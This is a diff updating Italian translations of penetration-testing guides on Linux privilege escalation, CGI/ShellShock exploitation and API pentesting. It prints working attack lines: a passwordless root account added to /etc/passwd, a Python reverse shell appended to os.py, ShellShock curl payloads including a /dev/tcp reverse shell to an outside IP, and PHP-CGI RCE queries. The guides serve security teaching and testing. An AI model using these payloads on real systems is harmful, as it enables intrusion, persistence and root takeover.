puoi usare le seguenti righe per aggiungere un utente dummy senza password.\ +ATTENZIONE: potresti degradare la sicurezza attuale della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è stato rinominato in `/etc/spwd.db`. +NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` viene rinominato in `/etc/spwd.db`. -Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Per esempio, puoi scrivere in qualche **file di configurazione di un servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione di un servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Ad esempio, se la macchina esegue un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat in /etc/systemd/,** allora puoi modificare le righe: +Ad esempio, se la macchina esegue un **tomcat** server e puoi **modify the Tomcat service configuration file inside /etc/systemd/,** allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root @@ -1336,13 +1325,13 @@ Group=root ``` La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. -### Controlla le cartelle +### Check Folders -Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non riuscirai a leggere l'ultima ma prova) +Le seguenti cartelle possono contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non riuscirai a leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Posizione insolita / file Owned +### Posizione strana/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1363,7 +1352,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### File DB Sqlite +### File DB di Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1375,7 +1364,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries nel PATH** +### **Script/Binari in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1387,26 +1376,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Backups** +### **Backup** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### File noti contenenti passwords +### Known files containing passwords Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi possibili file che potrebbero contenere passwords**.\ -**Un altro strumento interessante** che puoi usare a questo scopo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. +**Another interesting tool** che puoi usare per questo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. ### Logs -Se puoi leggere i logs, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più un log è strano, più sarà interessante (probabilmente).\ -Inoltre, alcuni "**bad**" configurati (backdoored?) **audit logs** potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se puoi leggere i log, potresti riuscire a trovare **informazioni interessanti/confidenziali al loro interno**. Più il log è strano, più sarà interessante (probabilmente).\ +Inoltre, alcuni audit logs configurati in modo "**bad**" (backdoored?) potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Per poter **leggere i log, il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà molto utile. +Per poter **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. -### File della shell +### File di shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1417,45 +1406,45 @@ Per poter **leggere i log, il gruppo** [**adm**](interesting-groups-linux-pe/ind ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Ricerca generica di credenziali/Regex +### Generic Creds Search/Regex -Dovresti anche controllare file che contengono la parola "**password**" nel **nome** o all'interno del **contenuto**, e controllare anche IP e email nei log, o regex per hash.\ -Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. +Devi anche cercare file che contengono la parola "**password**" nel loro **nome** o all'interno del **contenuto**, e controllare anche la presenza di IP e email nei log, o hashes regexps.\ +Non elencherò qui come fare tutto questo, ma se sei interessato puoi consultare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. ## File scrivibili ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere dentro** quella cartella o puoi **modificare python libraries**, puoi modificare la libreria os e backdoorarla (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e puoi **scrivere in** quella cartella oppure puoi **modificare python libraries**, puoi modificare la libreria OS e backdoor it (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). -Per **backdoor the library** aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT): +Per **backdoor the library** aggiungi semplicemente alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Sfruttamento di `logrotate` -Una vulnerabilità in `logrotate` permette agli utenti con **write permissions** su un file di log o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory dove è applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette a utenti con **permessi di scrittura** su un file di log o sulle sue directory padre di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, che spesso gira come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!TIP] > Questa vulnerabilità interessa `logrotate` versione `3.18.0` e precedenti -Maggiori informazioni sulla vulnerabilità si trovano in questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maggiori dettagli sulla vulnerabilità sono disponibili a questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi la possibilità di alterare i log, verifica chi gestisce quei log e controlla se puoi scalare i privilegi sostituendo i log con symlinks. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi ogni volta che trovi che puoi modificare i log, verifica chi li gestisce e controlla se puoi escalare i privilegi sostituendo i log con symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Riferimento alla vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** di **modificare** uno esistente, allora il tuo **sistema è pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Gli script di rete, ad esempio _ifcg-eth0_, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se nel nome ci sono **spazi bianchi/spazi vuoti**, il sistema tenta di eseguire la parte dopo lo spazio. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1463,15 +1452,15 @@ DEVICE=eth0 ``` (_Nota lo spazio vuoto tra Network e /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, e rc.d** -La directory `/etc/init.d` contiene **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite link simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` ospita **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart` e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite link simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associato a **Upstart**, un più recente sistema di **service management** introdotto da Ubuntu, che usa file di configurazione per le operazioni sui servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni Upstart grazie a uno strato di compatibilità in Upstart. +D'altra parte, `/etc/init` è associato a **Upstart**, un più recente **sistema di gestione dei servizi** introdotto da Ubuntu, che utilizza file di configurazione per attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni Upstart grazie a un layer di compatibilità in Upstart. -**systemd** emerge come un moderno init e service manager, offrendo funzionalità avanzate come l'avvio on-demand di daemon, la gestione degli automount e gli snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando l'amministrazione del sistema. +**systemd** emerge come un moderno gestore di init e servizi, offrendo funzionalità avanzate come avvio on-demand dei daemon, gestione degli automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando l'amministrazione del sistema. -## Other Tricks +## Altri trucchi ### NFS Privilege escalation @@ -1496,7 +1485,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks comunemente hook a syscall per esporre funzionalità privilegiate del kernel a un manager in userspace. Una debole autenticazione del manager (es. controlli di firma basati sull'ordine degli FD o schemi di password poveri) può permettere a un'app locale di impersonare il manager e scalare a root su dispositivi già rooted. Ulteriori informazioni e dettagli sull'exploit qui: {{#ref}} @@ -1505,39 +1494,39 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). +La discovery di servizi guidata da regex in VMware Tools/Aria Operations può estrarre un path di un binario dalle command line dei processi ed eseguirlo con -v in un contesto privilegiato. Pattern permissivi (es. usando \S) possono corrispondere a listener staged dall'attacker in location scrivibili (es. /tmp/httpd), portando all'esecuzione come root (CWE-426 Untrusted Search Path). -Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: +Per saperne di più e vedere un pattern generalizzato applicabile ad altri stack di discovery/monitoring, vedi qui: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Protezioni di sicurezza del kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Ulteriori risorse [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Miglior tool per cercare vettori di local privilege escalation su Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera vulnerabilità del kernel in Linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (accesso fisico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Raccolta di altri script**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Riferimenti - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 7f988adcc..7ea0f82b0 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,26 +5,26 @@ ## Informazioni -Gli **script CGI sono script perl**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **caricare una perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **cambiare l'estensione** da **.pl** a **.cgi**, dare i **permessi di esecuzione** (`chmod +x`) e **accedere** alla reverse shell **dal browser** per eseguirla. -Per testare le **CGI vulns** è consigliato usare `nikto -C all` (e tutti i plugin) +The **CGI scripts are perl scripts**, quindi, se hai compromesso un server che può eseguire _**.cgi**_ scripts puoi **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** da **.pl** a **.cgi**, dare i **permessi di esecuzione** \(`chmod +x`\) e **accedere** alla reverse shell **dal web browser** per eseguirla. +Per testare le **CGI vulns** è consigliato usare `nikto -C all` \(e tutti i plugin\) ## **ShellShock** -**ShellShock** è una **vulnerabilità** che colpisce la diffusissima shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori nominati dinamici che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttarla allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di compromettere potenzialmente il sistema. +**ShellShock** è una **vulnerabilità** che colpisce la diffusamente usata shell a riga di comando **Bash** nei sistemi operativi basati su Unix. Mira alla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle **variabili d'ambiente**, che sono valori dinamici nominati che influenzano come i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare questo allegando **codice maligno** alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Questo permette agli attaccanti di potenzialmente compromettere il sistema. Sfruttando questa vulnerabilità la **pagina potrebbe restituire un errore**. -Puoi **trovare** questa vulnerabilità notando che usa una **vecchia versione di Apache** e **cgi_mod** (con la cartella cgi) o usando **nikto**. +Puoi **trovare** questa vulnerabilità notando che sta usando una **vecchia versione di Apache** e **cgi_mod** \(con la cartella cgi\) oppure usando **nikto**. ### **Test** -La maggior parte dei test si basano sul fare echo di qualcosa e aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale. +La maggior parte dei test si basa sul fare echo di qualcosa e sull'aspettarsi che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(riflesso, blind e out-of-band\)** +## **Curl \(reflected, blind and out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Dispatcher CGI centralizzati (single endpoint routing via selector parameters) +## Dispatcher CGI centralizzati (instradamento a singolo endpoint tramite parametri selector) -Molte interfacce web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un selector parameter come `topicurl=` per instradare la richiesta a una funzione interna. +Molte UI web embedded multiplexano decine di azioni privilegiate dietro un singolo endpoint CGI (per esempio, `/cgi-bin/cstecgi.cgi`) e usano un parametro selector come `topicurl=` per instradare la richiesta verso una funzione interna. -Metodologia per sfruttare questi router: +Metodologia per sfruttare questi dispatcher: -- Enumerare i nomi dei handler: scrape di JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per stringhe di handler usate dal dispatcher. -- Testare la reachability non autenticata: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente. -- Concentrarsi su handler che invocano system utilities o che eseguono touch su file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`. +- Enumerare i nomi dei handler: scrape JS/HTML, brute-force con wordlists, oppure unpack del firmware e grep per handler strings usate dal dispatcher. +- Testare la raggiungibilità senza autenticazione: alcuni handler dimenticano i controlli di auth e sono chiamabili direttamente. +- Concentrarsi su handler che invocano system utilities o che toccano file; i validator deboli spesso bloccano solo pochi caratteri e potrebbero non intercettare il leading hyphen `-`. -Schemi generici di exploit: +Forme generiche di exploit: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -77,29 +77,29 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` Rilevamento e hardening: -- Monitorare richieste non autenticate a endpoint CGI centralizzati con `topicurl` impostato su handler sensibili. -- Segnala i parametri che iniziano con `-` (argv option injection attempts). -- Fornitori: imporre l'autenticazione su tutti gli handlers che modificano lo stato, convalidare usando strict allowlists/types/lengths, e non passare mai stringhe controllate dall'utente come flag della riga di comando. +- Monitorare richieste non autenticate agli endpoint CGI centralizzati con `topicurl` impostato su handler sensibili. +- Segnalare i parametri che iniziano con `-` (argv option injection attempts). +- Fornitori: imporre l'autenticazione su tutti gli handler che modificano lo stato, convalidare usando allowlists/types/lengths rigorose, e non passare mai stringhe controllate dall'utente come command-line flags. -## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## PHP obsoleto + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Fondamentalmente se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) puoi eseguire codice. -Per sfruttare questa vulnerabilità devi accedere a un file PHP del web server senza inviare parametri \(specialmente senza inviare il carattere "="\). -Per testare questa vulnerabilità, puoi ad esempio accedere a `/index.php?-s` \(nota il `-s`\) e **il codice sorgente dell'applicazione apparirà nella risposta**. +Fondamentalmente, se cgi è attivo e php è "vecchio" \(<5.3.12 / < 5.4.2\) è possibile eseguire codice. +Per sfruttare questa vulnerabilità è necessario accedere a un file PHP del web server senza inviare parametri \(in particolare senza inviare il carattere "="\). +Poi, per testare la vulnerabilità, si può accedere ad esempio a `/index.php?-s` \(nota il `-s`\) e **il source code of the application will appear in the response**. -Poi, per ottenere **RCE** puoi inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **codice PHP** da eseguire nel **corpo della richiesta**. Esempio: +Quindi, per ottenere **RCE** è possibile inviare questa query speciale: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e mettere il **PHP code** da eseguire nel **body of the request. Example:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Maggiori informazioni sul vuln e possibili exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM alle richieste al Web server\)** +## **Proxy \(MitM to Web server requests\)** -CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creata come "HTTP_HOST"="web.com" +CGI crea una variabile d'ambiente per ogni header nella richiesta http. Per esempio: "host:web.com" viene creato come "HTTP_HOST"="web.com" -Poiché la variabile HTTP_PROXY potrebbe essere usata dal web server, prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e, se il server esegue qualsiasi richiesta durante la sessione, potrai catturare ogni richiesta fatta dal server. +Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal web server, prova a inviare un **header** contenente: "**Proxy: <IP_attacker>:<PORT>**" e se il server effettua qualsiasi richiesta durante la sessione potrai catturare ogni richiesta fatta dal server. -## **References** +## **Riferimenti** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index b9ded114a..f7e402c13 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## Riepilogo della Metodologia di Pentesting API +## Sommario della metodologia API Pentesting -Il pentesting delle API implica un approccio strutturato per scoprire vulnerabilità. Questa guida racchiude una metodologia completa, enfatizzando tecniche e strumenti pratici. +Pentesting delle API richiede un approccio strutturato per scoprire vulnerabilità. Questa guida racchiude una metodologia completa, con enfasi su tecniche e strumenti pratici. -### **Comprendere i Tipi di API** +### **Understanding API Types** -- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente trovato nei percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (Estensione di Burp Suite) sono strumentali per analizzare e generare richieste. La documentazione di esempio è accessibile su [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: La documentazione spesso è disponibile in file WADL, tuttavia strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) forniscono un'interfaccia più user-friendly per l'interazione. **Postman** è uno strumento prezioso per creare e gestire richieste di esempio. -- **GraphQL**: Un linguaggio di query per API che offre una descrizione completa e comprensibile dei dati nella tua API. +- **SOAP/XML Web Services**: Utilizzano il formato WSDL per la documentazione, tipicamente reperibile in percorsi `?wsdl`. Strumenti come **SOAPUI** e **WSDLer** (Burp Suite Extension) sono fondamentali per il parsing e la generazione di request. Un esempio di documentazione è disponibile su [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: La documentazione spesso è in file WADL, ma strumenti come [Swagger UI](https://swagger.io/tools/swagger-ui/) offrono un'interfaccia più user-friendly per l'interazione. **Postman** è utile per creare e gestire request di esempio. +- **GraphQL**: Un query language per API che offre una descrizione completa e comprensibile dei dati esposti dall'API. -### **Laboratori Pratici** +### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API deliberatamente vulnerabile per esercitazioni pratiche, coprendo le 10 vulnerabilità API principali di OWASP. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Un'API volutamente vulnerabile per esercitarsi, coprendo le vulnerabilità OWASP top 10 per API. -### **Trucchi Efficaci per il Pentesting delle API** +### **Effective Tricks for API Pentesting** -- **Vulnerabilità SOAP/XML**: Esplora le vulnerabilità XXE, sebbene le dichiarazioni DTD siano spesso limitate. I tag CDATA possono consentire l'inserimento di payload se l'XML rimane valido. -- **Escalation dei Privilegi**: Testa gli endpoint con diversi livelli di privilegio per identificare possibilità di accesso non autorizzato. -- **Misconfigurazioni CORS**: Indaga le impostazioni CORS per potenziali sfruttamenti attraverso attacchi CSRF da sessioni autenticate. -- **Scoperta degli Endpoint**: Sfrutta i modelli API per scoprire endpoint nascosti. Strumenti come i fuzzers possono automatizzare questo processo. -- **Manipolazione dei Parametri**: Sperimenta con l'aggiunta o la sostituzione di parametri nelle richieste per accedere a dati o funzionalità non autorizzate. -- **Testing dei Metodi HTTP**: Varia i metodi di richiesta (GET, POST, PUT, DELETE, PATCH) per scoprire comportamenti inaspettati o divulgazioni di informazioni. -- **Manipolazione del Content-Type**: Passa tra diversi tipi di contenuto (x-www-form-urlencoded, application/xml, application/json) per testare problemi di parsing o vulnerabilità. -- **Tecniche Avanzate sui Parametri**: Testa con tipi di dati inaspettati nei payload JSON o gioca con i dati XML per iniezioni XXE. Prova anche la contaminazione dei parametri e i caratteri jolly per test più ampi. -- **Testing delle Versioni**: Le versioni API più vecchie potrebbero essere più suscettibili agli attacchi. Controlla sempre e testa contro più versioni API. +- **SOAP/XML Vulnerabilities**: Esplora possibili XXE, sebbene le dichiarazioni DTD siano spesso limitate. I tag CDATA possono permettere l'inserimento di payload se l'XML resta valido. +- **Privilege Escalation**: Prova endpoint con livelli di privilegio differenti per identificare possibili accessi non autorizzati. +- **CORS Misconfigurations**: Analizza le impostazioni CORS per potenziali vie di attacco attraverso CSRF da sessioni autenticate. +- **Endpoint Discovery**: Sfrutta pattern delle API per scoprire endpoint nascosti. Tool come i fuzzers possono automatizzare il processo. +- **Parameter Tampering**: Sperimenta aggiungendo o sostituendo parametri nelle request per accedere a dati o funzionalità non autorizzate. +- **HTTP Method Testing**: Varia i metodi di request (GET, POST, 